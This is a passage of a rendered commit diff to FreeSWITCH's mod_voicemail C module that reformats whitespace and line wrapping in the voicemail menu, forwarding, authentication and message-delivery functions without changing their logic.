</ins><span class="cx">                 switch_core_file_write(fh, abuf, &olen);
</span><span class="cx">
</span><span class="cx">         }
</span><span class="lines">@@ -1400,7 +1386,7 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Failed to delete file [%s]\n", announce);
</span><span class="cx">         }
</span><span class="cx">         ret = tmp_path;
</span><del>-        
</del><ins>+
</ins><span class="cx"> end:
</span><span class="cx">
</span><span class="cx">         if (fh) {
</span><span class="lines">@@ -1429,18 +1415,18 @@
</span><span class="cx">         char input[10] = "", key_buf[80] = "";
</span><span class="cx">         switch_file_handle_t fh = { 0 };
</span><span class="cx">         cc_t cc = { 0 };
</span><del>-        char *forward_file_path = NULL;                                
</del><ins>+        char *forward_file_path = NULL;
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">         if (switch_channel_ready(channel)) {
</span><span class="cx">
</span><span class="cx">                 args.input_callback = cancel_on_dtmf;
</span><span class="cx">
</span><del>-                switch_snprintf(key_buf, sizeof(key_buf), "%s:%s:%s:%s:%s:%s%s%s", profile->listen_file_key, profile->save_file_key,
-                                                profile->delete_file_key, profile->email_key, profile->callback_key,
</del><ins>+                switch_snprintf(key_buf, sizeof(key_buf), "%s:%s:%s:%s:%s:%s%s%s", profile->listen_file_key, profile->save_file_key,
+                                                profile->delete_file_key, profile->email_key, profile->callback_key,
</ins><span class="cx">                                                 profile->forward_key, cbt->email ? ":" : "", cbt->email ? cbt->email : "");
</span><del>-                                                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                 switch_snprintf(input, sizeof(input), "%s:%d", cbt->type == MSG_NEW ? "new" : "saved", cbt->want + 1);
</span><span class="cx">                 memset(&cc, 0, sizeof(cc));
</span><span class="cx">                 cc.profile = profile;
</span><span class="lines">@@ -1489,8 +1475,8 @@
</span><span class="cx">                                 char *new_file_path = NULL;
</span><span class="cx">                                 char vm_cc[256] = "";
</span><span class="cx">                                 char macro_buf[80] = "";
</span><del>-                                
-                                
</del><ins>+
+
</ins><span class="cx">                                 switch_snprintf(key_buf, sizeof(key_buf), "%s:%s", profile->prepend_key, profile->forward_key);
</span><span class="cx">                                 TRY_CODE(vm_macro_get(session, VM_FORWARD_PREPEND_MACRO, key_buf, input, sizeof(input), 1, "", &term, profile->digit_timeout));
</span><span class="cx">                                 if (!strcmp(input, profile->prepend_key)) {
</span><span class="lines">@@ -1498,11 +1484,12 @@
</span><span class="cx">                                         char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
</span><span class="cx">                                         switch_size_t message_len = 0;
</span><span class="cx">                                         char *new_path = NULL;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_uuid_get(&uuid);
</span><span class="cx">                                         switch_uuid_format(uuid_str, &uuid);
</span><span class="cx">
</span><del>-                                        forward_file_path = switch_core_session_sprintf(session, "%s%smsg_%s.wav", SWITCH_GLOBAL_dirs.temp_dir, SWITCH_PATH_SEPARATOR, uuid_str);
</del><ins>+                                        forward_file_path =
+                                                switch_core_session_sprintf(session, "%s%smsg_%s.wav", SWITCH_GLOBAL_dirs.temp_dir, SWITCH_PATH_SEPARATOR, uuid_str);
</ins><span class="cx">                                         TRY_CODE(create_file(session, profile, VM_RECORD_MESSAGE_MACRO, forward_file_path, &message_len, SWITCH_TRUE, NULL, NULL));
</span><span class="cx">                                         if ((new_path = vm_merge_file(session, profile, forward_file_path, cbt->file_path))) {
</span><span class="cx">                                                 switch_ivr_sleep(session, 1500, SWITCH_TRUE, NULL);
</span><span class="lines">@@ -1517,14 +1504,15 @@
</span><span class="cx">                                 } else {
</span><span class="cx">                                         new_file_path = cbt->file_path;
</span><span class="cx">                                 }
</span><del>-                                
-                        get_exten:
-                                
</del><ins>+
+                         get_exten:
+
</ins><span class="cx">                                 switch_snprintf(macro_buf, sizeof(macro_buf), "phrase:%s:%s", VM_FORWARD_MESSAGE_ENTER_EXTENSION_MACRO, profile->terminator_key);
</span><span class="cx">                                 vm_cc[0] = '\0';
</span><span class="cx">
</span><del>-                                TRY_CODE(switch_ivr_read(session, 0, sizeof(vm_cc), macro_buf, NULL, vm_cc, sizeof(vm_cc), profile->digit_timeout, profile->terminator_key));
-                                
</del><ins>+                                TRY_CODE(switch_ivr_read
+                                                 (session, 0, sizeof(vm_cc), macro_buf, NULL, vm_cc, sizeof(vm_cc), profile->digit_timeout, profile->terminator_key));
+
</ins><span class="cx">                                 cmd = switch_core_session_sprintf(session, "%s@%s %s %s '%s'", vm_cc, cbt->domain, new_file_path, cbt->cid_number, cbt->cid_name);
</span><span class="cx">
</span><span class="cx">                                 if (voicemail_inject(cmd) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -1566,7 +1554,7 @@
</span><span class="cx">                                         message_count(profile, cbt->user, cbt->domain, cbt->in_folder, &total_new_messages, &total_saved_messages,
</span><span class="cx">                                                                  &total_new_urgent_messages, &total_saved_urgent_messages);
</span><span class="cx">
</span><del>-                                        switch_time_exp_lt(&tm, switch_time_make (atol(cbt->created_epoch), 0));
</del><ins>+                                        switch_time_exp_lt(&tm, switch_time_make(atol(cbt->created_epoch), 0));
</ins><span class="cx">                                         switch_strftime(date, &retsize, sizeof(date), profile->date_fmt, &tm);
</span><span class="cx">
</span><span class="cx">                                         switch_snprintf(tmp, sizeof(tmp), "%d", total_new_messages);
</span><span class="lines">@@ -1589,7 +1577,7 @@
</span><span class="cx">                                         switch_channel_set_variable(channel, "voicemail_priority", tmp);
</span><span class="cx">                                         message_len = atoi(cbt->message_len);
</span><span class="cx">
</span><del>-                                        l_duration = switch_time_make (atol(cbt->message_len), 0);
</del><ins>+                                        l_duration = switch_time_make(atol(cbt->message_len), 0);
</ins><span class="cx">                                         switch_core_measure_time(l_duration, &duration);
</span><span class="cx">                                         duration.day += duration.yr * 365;
</span><span class="cx">                                         duration.hr += duration.day * 24;
</span><span class="lines">@@ -1674,7 +1662,8 @@
</span><span class="cx">         int total_saved_urgent_messages = 0;
</span><span class="cx">         switch_event_t *event;
</span><span class="cx">
</span><del>-        message_count(profile, id, domain_name, myfolder, &total_new_messages, &total_saved_messages, &total_new_urgent_messages, &total_saved_urgent_messages);
</del><ins>+        message_count(profile, id, domain_name, myfolder, &total_new_messages, &total_saved_messages, &total_new_urgent_messages,
+                                 &total_saved_urgent_messages);
</ins><span class="cx">
</span><span class="cx">         if (switch_event_create(&event, SWITCH_EVENT_MESSAGE_WAITING) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 return;
</span><span class="lines">@@ -1685,7 +1674,8 @@
</span><span class="cx">         }
</span><span class="cx">         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "MWI-Messages-Waiting", yn);
</span><span class="cx">         switch_event_add_header(event, SWITCH_STACK_BOTTOM, "MWI-Message-Account", "%s@%s", id, domain_name);
</span><del>-        switch_event_add_header(event, SWITCH_STACK_BOTTOM, "MWI-Voice-Message", "%d/%d (%d/%d)", total_new_messages, total_saved_messages, total_new_urgent_messages, total_saved_urgent_messages);
</del><ins>+        switch_event_add_header(event, SWITCH_STACK_BOTTOM, "MWI-Voice-Message", "%d/%d (%d/%d)", total_new_messages, total_saved_messages,
+                                                        total_new_urgent_messages, total_saved_urgent_messages);
</ins><span class="cx">         switch_event_fire(&event);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1762,7 +1752,7 @@
</span><span class="cx">                                 char msg_count[80] = "";
</span><span class="cx">                                 switch_input_args_t folder_args = { 0 };
</span><span class="cx">                                 switch_event_t *params;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 folder_args.input_callback = cancel_on_dtmf;
</span><span class="cx">                                 folder_args.buf = &global_buf;
</span><span class="cx">                                 folder_args.buflen = sizeof(global_buf);
</span><span class="lines">@@ -1907,13 +1897,10 @@
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 switch_snprintf(key_buf, sizeof(key_buf), "%s:%s:%s:%s:%s",
</span><del>-                                                                profile->record_greeting_key,
-                                                                profile->choose_greeting_key,
-                                                                profile->record_name_key,
-                                                                profile->change_pass_key,
-                                                                profile->main_menu_key);
-                                
</del><ins>+                                                                profile->record_greeting_key,
+                                                                profile->choose_greeting_key, profile->record_name_key, profile->change_pass_key, profile->main_menu_key);
</ins><span class="cx">
</span><ins>+
</ins><span class="cx">                                 TRY_CODE(vm_macro_get(session, VM_CONFIG_MENU_MACRO, key_buf, input, sizeof(input), 1, "", &term, timeout));
</span><span class="cx">                                 if (status != SWITCH_STATUS_SUCCESS && status != SWITCH_STATUS_BREAK) {
</span><span class="cx">                                         goto end;
</span><span class="lines">@@ -1992,14 +1979,14 @@
</span><span class="cx">                                         switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "VM-User", myid);
</span><span class="cx">                                         switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "VM-Domain", domain_name);
</span><span class="cx">                                         switch_channel_event_set_data(channel, params);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (switch_xml_locate_user("id", myid, domain_name, switch_channel_get_variable(channel, "network_addr"),
</span><span class="cx">                                                                                          &xx_domain_root, &xx_domain, &xx_user, NULL, params) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                 switch_xml_free(xx_domain_root);
</span><span class="cx">                                         }
</span><span class="cx">
</span><span class="cx">                                         switch_event_fire(&params);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 } else if (!strcmp(input, profile->record_name_key)) {
</span><span class="cx">                                         file_path = switch_mprintf("%s%srecorded_name.%s", dir_path, SWITCH_PATH_SEPARATOR, profile->file_ext);
</span><span class="cx">                                         TRY_CODE(create_file(session, profile, VM_RECORD_NAME_MACRO, file_path, &message_len, SWITCH_FALSE, NULL, NULL));
</span><span class="lines">@@ -2030,7 +2017,7 @@
</span><span class="cx">                                 } else {
</span><span class="cx">                                         switch_snprintf(key_buf, sizeof(key_buf), "%s:%s:%s:%s",
</span><span class="cx">                                                                         profile->play_new_messages_key, profile->play_saved_messages_key, profile->config_menu_key, profile->terminator_key);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         status = vm_macro_get(session, VM_MENU_MACRO, key_buf, input, sizeof(input), 1, "", &term, timeout);
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="lines">@@ -2058,7 +2045,8 @@
</span><span class="cx">                         break;
</span><span class="cx">                 case VM_CHECK_AUTH:
</span><span class="cx">                         {
</span><del>-                                prefs_callback_t cbt = {{0}};
</del><ins>+                                prefs_callback_t cbt = { {0}
+                                };
</ins><span class="cx">                                 char sql[512] = "";
</span><span class="cx">
</span><span class="cx">                                 if (!attempts) {
</span><span class="lines">@@ -2091,8 +2079,8 @@
</span><span class="cx">                                         switch_assert(params);
</span><span class="cx">                                         switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "destination_number", caller_profile->destination_number);
</span><span class="cx">                                         switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "caller_id_number", caller_id_number);
</span><del>-                                        
-                                        
</del><ins>+
+
</ins><span class="cx">                                         if (switch_xml_locate_user("id", myid, domain_name, switch_channel_get_variable(channel, "network_addr"),
</span><span class="cx">                                                                                          &x_domain_root, &x_domain, &x_user, NULL, params) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Can't find user [%s@%s]\n", myid, domain_name);
</span><span class="lines">@@ -2126,7 +2114,7 @@
</span><span class="cx">                                 for (x_param = switch_xml_child(x_params, "param"); x_param; x_param = x_param->next) {
</span><span class="cx">                                         const char *var = switch_xml_attr_soft(x_param, "name");
</span><span class="cx">                                         const char *val = switch_xml_attr_soft(x_param, "value");
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (!strcasecmp(var, "a1-hash")) {
</span><span class="cx">                                                 thehash = switch_core_session_strdup(session, val);
</span><span class="cx">                                         } else if (!strcasecmp(var, "vm-a1-hash")) {
</span><span class="lines">@@ -2154,10 +2142,10 @@
</span><span class="cx">                                                 convert_ext = switch_core_session_strdup(session, val);
</span><span class="cx">                                         } else if (!strcasecmp(var, "storage-dir")) {
</span><span class="cx">                                                 vm_storage_dir = switch_core_session_strdup(session, val);
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                         } else if (!strcasecmp(var, "timezone")) {
</span><span class="cx">                                                 switch_channel_set_variable(channel, var, val);
</span><del>-                                        }
</del><ins>+                                        }
</ins><span class="cx">
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="lines">@@ -2181,7 +2169,7 @@
</span><span class="cx">                                 if (vmhash) {
</span><span class="cx">                                         thehash = vmhash;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!auth && !thepass && !zstr(cbt.password)) {
</span><span class="cx">                                         thepass = cbt.password;
</span><span class="cx">                                 }
</span><span class="lines">@@ -2203,7 +2191,7 @@
</span><span class="cx">                                                         }
</span><span class="cx">                                                         switch_safe_free(lpbuf);
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (!auth && thepass && !strcmp(thepass, mypass)) {
</span><span class="cx">                                                         auth++;
</span><span class="cx">                                                 }
</span><span class="lines">@@ -2211,13 +2199,15 @@
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 FREE_DOMAIN_ROOT();
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (auth) {
</span><span class="cx">                                         if (!dir_path) {
</span><span class="cx">                                                 if (!zstr(vm_storage_dir)) {
</span><span class="cx">                                                         dir_path = switch_core_session_sprintf(session, "%s%s%s", vm_storage_dir, SWITCH_PATH_SEPARATOR, myid);
</span><del>-                                                } else if ( !zstr(profile->storage_dir) ) {
-                                                        dir_path = switch_core_session_sprintf(session, "%s%s%s%s%s", profile->storage_dir, SWITCH_PATH_SEPARATOR, domain_name, SWITCH_PATH_SEPARATOR, myid);
</del><ins>+                                                } else if (!zstr(profile->storage_dir)) {
+                                                        dir_path =
+                                                                switch_core_session_sprintf(session, "%s%s%s%s%s", profile->storage_dir, SWITCH_PATH_SEPARATOR, domain_name,
+                                                                                                                        SWITCH_PATH_SEPARATOR, myid);
</ins><span class="cx">                                                 } else {
</span><span class="cx">                                                         dir_path = switch_core_session_sprintf(session, "%s%svoicemail%s%s%s%s%s%s", SWITCH_GLOBAL_dirs.storage_dir,
</span><span class="cx">                                                                                                                                  SWITCH_PATH_SEPARATOR,
</span><span class="lines">@@ -2235,11 +2225,11 @@
</span><span class="cx">                                 } else {
</span><span class="cx">                                         goto failed;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 continue;
</span><span class="cx">
</span><span class="cx">                          failed:
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 FREE_DOMAIN_ROOT();
</span><span class="cx">
</span><span class="cx">                                 status = switch_ivr_phrase_macro(session, VM_FAIL_AUTH_MACRO, NULL, NULL, NULL);
</span><span class="lines">@@ -2269,18 +2259,15 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-static switch_status_t deliver_vm(vm_profile_t *profile,
-                                                                 switch_xml_t x_user,
-                                                                 const char *domain_name,
-                                                                 const char *path,
</del><ins>+static switch_status_t deliver_vm(vm_profile_t *profile,
+                                                                 switch_xml_t x_user,
+                                                                 const char *domain_name,
+                                                                 const char *path,
</ins><span class="cx">                                                                  uint32_t message_len,
</span><span class="cx">                                                                  const char *read_flags,
</span><del>-                                                                 switch_event_t *params,
-                                                                 switch_memory_pool_t *pool,
-                                                                 const char *caller_id_name,
-                                                                 const char *caller_id_number,
-                                                                 const char *forwarded_by,
-                                                                 switch_bool_t copy)
</del><ins>+                                                                 switch_event_t *params,
+                                                                 switch_memory_pool_t *pool,
+                                                                 const char *caller_id_name, const char *caller_id_number, const char *forwarded_by, switch_bool_t copy)
</ins><span class="cx"> {
</span><span class="cx">         char *file_path = NULL, *dir_path = NULL;
</span><span class="cx">         const char *myid = switch_xml_attr(x_user, "id");
</span><span class="lines">@@ -2310,7 +2297,7 @@
</span><span class="cx">                 switch_event_create(&local_event, SWITCH_EVENT_REQUEST_PARAMS);
</span><span class="cx">                 params = local_event;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((tmp = switch_event_get_header(params, "effective_caller_id_name"))) {
</span><span class="cx">                 caller_id_name = tmp;
</span><span class="cx">         }
</span><span class="lines">@@ -2318,7 +2305,7 @@
</span><span class="cx">         if ((tmp = switch_event_get_header(params, "effective_caller_id_number"))) {
</span><span class="cx">                 caller_id_number = tmp;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_uuid_get(&uuid);
</span><span class="cx">         switch_uuid_format(uuid_str, &uuid);
</span><span class="cx">
</span><span class="lines">@@ -2332,7 +2319,7 @@
</span><span class="cx">         for (x_param = switch_xml_child(x_params, "variable"); x_param; x_param = x_param->next) {
</span><span class="cx">                 const char *var = switch_xml_attr_soft(x_param, "name");
</span><span class="cx">                 const char *val = switch_xml_attr_soft(x_param, "value");
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!strcasecmp(var, "timezone")) {
</span><span class="cx">                         vm_timezone = switch_core_strdup(pool, val);
</span><span class="cx">                 }
</span><span class="lines">@@ -2365,7 +2352,7 @@
</span><span class="cx">                 } else if (!strcasecmp(var, "timezone")) {
</span><span class="cx">                         vm_timezone = switch_core_strdup(pool, val);
</span><span class="cx">                 }
</span><del>-                /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Send mail is %d, var is %s\n", send_mail, var);*/
</del><ins>+                /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Send mail is %d, var is %s\n", send_mail, var); */
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Deliver VM to %s@%s\n", myid, domain_name);
</span><span class="lines">@@ -2391,7 +2378,7 @@
</span><span class="cx">         if (copy) {
</span><span class="cx">                 switch_file_copy(path, file_path, SWITCH_FPROT_FILE_SOURCE_PERMS, pool);
</span><span class="cx">         } else {
</span><del>-                file_path = (char *)path;
</del><ins>+                file_path = (char *) path;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (!message_len) {
</span><span class="lines">@@ -2404,7 +2391,7 @@
</span><span class="cx">         if (insert_db && switch_file_exists(file_path, pool) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 char *usql;
</span><span class="cx">                 switch_event_t *message_event;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_event_create_subclass(&message_event, SWITCH_EVENT_CUSTOM, VM_EVENT_MAINT);
</span><span class="cx">                 switch_event_add_header_string(message_event, SWITCH_STACK_BOTTOM, "VM-Action", "leave-message");
</span><span class="cx">                 switch_event_add_header_string(message_event, SWITCH_STACK_BOTTOM, "VM-User", myid);
</span><span class="lines">@@ -2483,7 +2470,7 @@
</span><span class="cx">                 if (vm_notify_email) {
</span><span class="cx">                         switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "voicemail_notify_email", vm_notify_email);
</span><span class="cx">                 }
</span><del>-                l_duration = switch_time_make (message_len, 0);
</del><ins>+                l_duration = switch_time_make(message_len, 0);
</ins><span class="cx">                 switch_core_measure_time(l_duration, &duration);
</span><span class="cx">                 duration.day += duration.yr * 365;
</span><span class="cx">                 duration.hr += duration.day * 24;
</span><span class="lines">@@ -2500,10 +2487,8 @@
</span><span class="cx">
</span><span class="cx">                 if (send_main) {
</span><span class="cx">                         if (zstr(profile->email_headers)) {
</span><del>-                                headers = switch_mprintf(
-                                                                                 "From: FreeSWITCH mod_voicemail <%s@%s>\n"
-                                                                                 "Subject: Voicemail from %s %s\nX-Priority: %d",
-                                                                                 myid, domain_name, caller_id_name, caller_id_number, priority);
</del><ins>+                                headers = switch_mprintf("From: FreeSWITCH mod_voicemail <%s@%s>\n"
+                                                                                 "Subject: Voicemail from %s %s\nX-Priority: %d", myid, domain_name, caller_id_name, caller_id_number, priority);
</ins><span class="cx">                         } else {
</span><span class="cx">                                 headers = switch_event_expand_headers(params, profile->email_headers);
</span><span class="cx">                         }
</span><span class="lines">@@ -2539,9 +2524,9 @@
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Sending message to %s\n", vm_email);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (body != profile->email_body) {
</span><del>-                                switch_safe_free(body);        
</del><ins>+                                switch_safe_free(body);
</ins><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         if (headers != profile->email_headers) {
</span><span class="lines">@@ -2552,10 +2537,8 @@
</span><span class="cx">
</span><span class="cx">                 if (send_notify) {
</span><span class="cx">                         if (zstr(profile->notify_email_headers)) {
</span><del>-                                headers = switch_mprintf(
-                                                                                 "From: FreeSWITCH mod_voicemail <%s@%s>\n"
-                                                                                 "Subject: Voicemail from %s %s\nX-Priority: %d",
-                                                                                 myid, domain_name, caller_id_name, caller_id_number, priority);
</del><ins>+                                headers = switch_mprintf("From: FreeSWITCH mod_voicemail <%s@%s>\n"
+                                                                                 "Subject: Voicemail from %s %s\nX-Priority: %d", myid, domain_name, caller_id_name, caller_id_number, priority);
</ins><span class="cx">                         } else {
</span><span class="cx">                                 headers = switch_event_expand_headers(params, profile->notify_email_headers);
</span><span class="cx">                         }
</span><span class="lines">@@ -2587,9 +2570,9 @@
</span><span class="cx">                         switch_simple_email(vm_notify_email, from, header_string, body, NULL, NULL, NULL);
</span><span class="cx">
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Sending notify message to %s\n", vm_notify_email);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (body != profile->notify_email_body) {
</span><del>-                                switch_safe_free(body);        
</del><ins>+                                switch_safe_free(body);
</ins><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         if (headers != profile->notify_email_headers) {
</span><span class="lines">@@ -2635,7 +2618,7 @@
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         dup = strdup(data);
</span><span class="cx">         switch_assert(dup);
</span><span class="cx">
</span><span class="lines">@@ -2655,7 +2638,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         user = box;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((domain = strchr(user, '@'))) {
</span><span class="cx">                 *domain++ = '\0';
</span><span class="cx">         } else {
</span><span class="lines">@@ -2674,7 +2657,7 @@
</span><span class="cx">         } else if (user == domain) {
</span><span class="cx">                 isall++;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(user && domain)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid syntax [%s][%s]\n", switch_str_nil(user), switch_str_nil(domain));
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -2686,7 +2669,7 @@
</span><span class="cx">                         profile = get_profile("default");
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!profile) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't find profile\n");
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -2713,19 +2696,19 @@
</span><span class="cx">                 }
</span><span class="cx">                 switch_event_add_header_string(my_params, SWITCH_STACK_BOTTOM, "domain", domain);
</span><span class="cx">                 switch_event_add_header_string(my_params, SWITCH_STACK_BOTTOM, "purpose", "publish-vm");
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_xml_locate_domain(domain, my_params, &xml_root, &x_domain) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Cannot locate domain %s\n", domain);
</span><span class="cx">                         status = SWITCH_STATUS_FALSE;
</span><span class="cx">                         switch_event_destroy(&my_params);
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_event_destroy(&my_params);
</span><span class="cx">
</span><span class="cx">                 switch_core_new_memory_pool(&pool);
</span><del>-                
-                
</del><ins>+
+
</ins><span class="cx">                 if (isgroup) {
</span><span class="cx">                         switch_xml_t group = NULL, groups = NULL, users = NULL;
</span><span class="cx">                         if ((groups = switch_xml_child(x_domain, "groups"))) {
</span><span class="lines">@@ -2733,19 +2716,21 @@
</span><span class="cx">                                         if ((users = switch_xml_child(group, "users"))) {
</span><span class="cx">                                                 for (ut = switch_xml_child(users, "user"); ut; ut = ut->next) {
</span><span class="cx">                                                         const char *type = switch_xml_attr_soft(ut, "type");
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (!strcasecmp(type, "pointer")) {
</span><span class="cx">                                                                 const char *uname = switch_xml_attr_soft(ut, "id");
</span><span class="cx">                                                                 switch_xml_t ux;
</span><span class="cx">
</span><span class="cx">                                                                 if (switch_xml_locate_user_in_domain(uname, x_domain, &ux, NULL) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                                         switch_event_create(&my_params, SWITCH_EVENT_REQUEST_PARAMS);
</span><del>-                                                                        status = deliver_vm(profile, ux, domain, path, 0, read_flags, my_params, pool, cid_name, cid_num, forwarded_by, SWITCH_TRUE);
</del><ins>+                                                                        status =
+                                                                                deliver_vm(profile, ux, domain, path, 0, read_flags, my_params, pool, cid_name, cid_num, forwarded_by,
+                                                                                                 SWITCH_TRUE);
</ins><span class="cx">                                                                         switch_event_destroy(&my_params);
</span><span class="cx">                                                                 }
</span><span class="cx">                                                                 continue;
</span><span class="cx">                                                         }
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         switch_event_create(&my_params, SWITCH_EVENT_REQUEST_PARAMS);
</span><span class="cx">                                                         status = deliver_vm(profile, ut, domain, path, 0, read_flags, my_params, pool, cid_name, cid_num, forwarded_by, SWITCH_TRUE);
</span><span class="cx">                                                         switch_event_destroy(&my_params);
</span><span class="lines">@@ -2762,7 +2747,7 @@
</span><span class="cx">                                         if ((users = switch_xml_child(group, "users"))) {
</span><span class="cx">                                                 for (ut = switch_xml_child(users, "user"); ut; ut = ut->next) {
</span><span class="cx">                                                         const char *type = switch_xml_attr_soft(ut, "type");
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (!strcasecmp(type, "pointer")) {
</span><span class="cx">                                                                 continue;
</span><span class="cx">                                                         }
</span><span class="lines">@@ -2774,7 +2759,7 @@
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_xml_t x_group = NULL;
</span><span class="cx">
</span><span class="lines">@@ -2787,7 +2772,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">                 profile_rwunlock(profile);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_core_destroy_memory_pool(&pool);
</span><span class="cx">
</span><span class="cx">                 switch_xml_free(xml_root);
</span><span class="lines">@@ -2845,7 +2830,7 @@
</span><span class="cx">
</span><span class="cx">         switch_channel_set_variable(channel, "skip_greeting", NULL);
</span><span class="cx">         switch_channel_set_variable(channel, "skip_instructions", NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(caller_id_name = switch_channel_get_variable(channel, "effective_caller_id_name"))) {
</span><span class="cx">                 caller_id_name = caller_profile->caller_id_name;
</span><span class="cx">         }
</span><span class="lines">@@ -2861,8 +2846,8 @@
</span><span class="cx">                 switch_event_t *locate_params = NULL;
</span><span class="cx">                 const char *email_addr = NULL;
</span><span class="cx">                 char *x;
</span><del>-                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                 switch_event_create(&locate_params, SWITCH_EVENT_REQUEST_PARAMS);
</span><span class="cx">                 switch_assert(locate_params);
</span><span class="cx">
</span><span class="lines">@@ -2875,7 +2860,7 @@
</span><span class="cx">                         x_domain = NULL;
</span><span class="cx">                         switch_xml_free(x_domain_root);
</span><span class="cx">                         x_domain_root = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((x_params = switch_xml_child(x_user, "params"))) {
</span><span class="cx">                                 for (x_param = switch_xml_child(x_params, "param"); x_param; x_param = x_param->next) {
</span><span class="cx">                                         const char *var = switch_xml_attr_soft(x_param, "name");
</span><span class="lines">@@ -2922,9 +2907,10 @@
</span><span class="cx">                                         send_notify = 0;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (send_mail && (!(send_main || send_notify))) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Falling back to leaving message locally due to too many misconfiguration.\n");
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
+                                                                 "Falling back to leaving message locally due to too many misconfiguration.\n");
</ins><span class="cx">                                 send_mail = 0;
</span><span class="cx">                                 insert_db = 1;
</span><span class="cx">                         }
</span><span class="lines">@@ -2932,14 +2918,14 @@
</span><span class="cx">                         if (send_notify && !send_main) {
</span><span class="cx">                                 insert_db = 1;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 } else {
